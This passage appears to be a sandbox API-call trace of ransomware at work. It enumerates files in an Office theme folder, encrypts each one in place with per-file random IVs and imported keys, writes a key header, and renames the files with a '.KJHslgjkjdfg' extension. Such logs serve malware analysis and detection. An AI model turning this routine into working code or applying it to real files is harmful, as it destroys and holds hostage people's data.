lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.036] CloseHandle (hObject=0x114) returned 1 [0173.036] GetProcessHeap () returned 0x2ef0000 [0173.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0173.036] GetProcessHeap () returned 0x2ef0000 [0173.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0173.036] GetProcessHeap () returned 0x2ef0000 [0173.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0173.036] GetProcessHeap () returned 0x2ef0000 [0173.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.036] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0173.037] GetProcessHeap () returned 0x2ef0000 [0173.037] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0173.037] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0173.037] GetProcessHeap () returned 0x2ef0000 [0173.037] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0173.037] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0173.049] GetProcessHeap () returned 0x2ef0000 [0173.049] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0173.049] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.050] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0173.050] GetProcessHeap () returned 0x2ef0000 [0173.050] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f14588 [0173.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.050] GetProcessHeap () returned 0x2ef0000 [0173.050] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.050] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.050] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.051] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0173.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.088] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.088] GetProcessHeap () returned 0x2ef0000 [0173.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.088] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.088] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.088] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.088] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.088] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.088] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.088] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.089] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.089] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.089] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.089] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.089] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x12dee, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x12dee, lpOverlapped=0x0) returned 1 [0173.124] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x12df0, dwBufLen=0x12df0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x12df0) returned 1 [0173.125] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.125] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12df0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x12df0, lpOverlapped=0x0) returned 1 [0173.125] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.125] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x12ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.125] SetEndOfFile (hFile=0x12c) returned 1 [0173.129] GetProcessHeap () returned 0x2ef0000 [0173.129] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.129] GetProcessHeap () returned 0x2ef0000 [0173.129] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.kjhslgjkjdfg")) returned 1 [0173.130] CloseHandle (hObject=0x12c) returned 1 [0173.130] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0173.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.131] GetProcessHeap () returned 0x2ef0000 [0173.131] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.131] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.131] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.132] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0173.133] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.134] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.134] GetProcessHeap () returned 0x2ef0000 [0173.134] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.134] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.134] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.134] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.134] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.134] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.134] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.134] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.135] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.135] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.135] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.135] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.135] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x223, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x223, lpOverlapped=0x0) returned 1 [0173.135] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230, dwBufLen=0x230 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230) returned 1 [0173.135] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.135] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x230, lpOverlapped=0x0) returned 1 [0173.135] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.135] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.135] SetEndOfFile (hFile=0x12c) returned 1 [0173.139] GetProcessHeap () returned 0x2ef0000 [0173.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.139] GetProcessHeap () returned 0x2ef0000 [0173.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.kjhslgjkjdfg")) returned 1 [0173.146] CloseHandle (hObject=0x12c) returned 1 [0173.147] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.147] GetProcessHeap () returned 0x2ef0000 [0173.147] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.147] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.147] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.147] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0173.150] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.150] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.150] GetProcessHeap () returned 0x2ef0000 [0173.150] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.150] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.150] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.150] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.150] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.151] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.151] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.151] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.151] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.151] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.151] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.151] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x54a, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x54a, lpOverlapped=0x0) returned 1 [0173.151] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x550, dwBufLen=0x550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x550) returned 1 [0173.151] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.151] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x550, lpOverlapped=0x0) returned 1 [0173.151] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.151] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.152] SetEndOfFile (hFile=0x12c) returned 1 [0173.154] GetProcessHeap () returned 0x2ef0000 [0173.154] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.154] GetProcessHeap () returned 0x2ef0000 [0173.154] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.155] CloseHandle (hObject=0x12c) returned 1 [0173.155] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.156] GetProcessHeap () returned 0x2ef0000 [0173.156] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.156] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.156] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.156] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0173.158] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.158] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.158] GetProcessHeap () returned 0x2ef0000 [0173.158] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.158] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.158] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.158] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.158] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.158] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.159] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.159] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 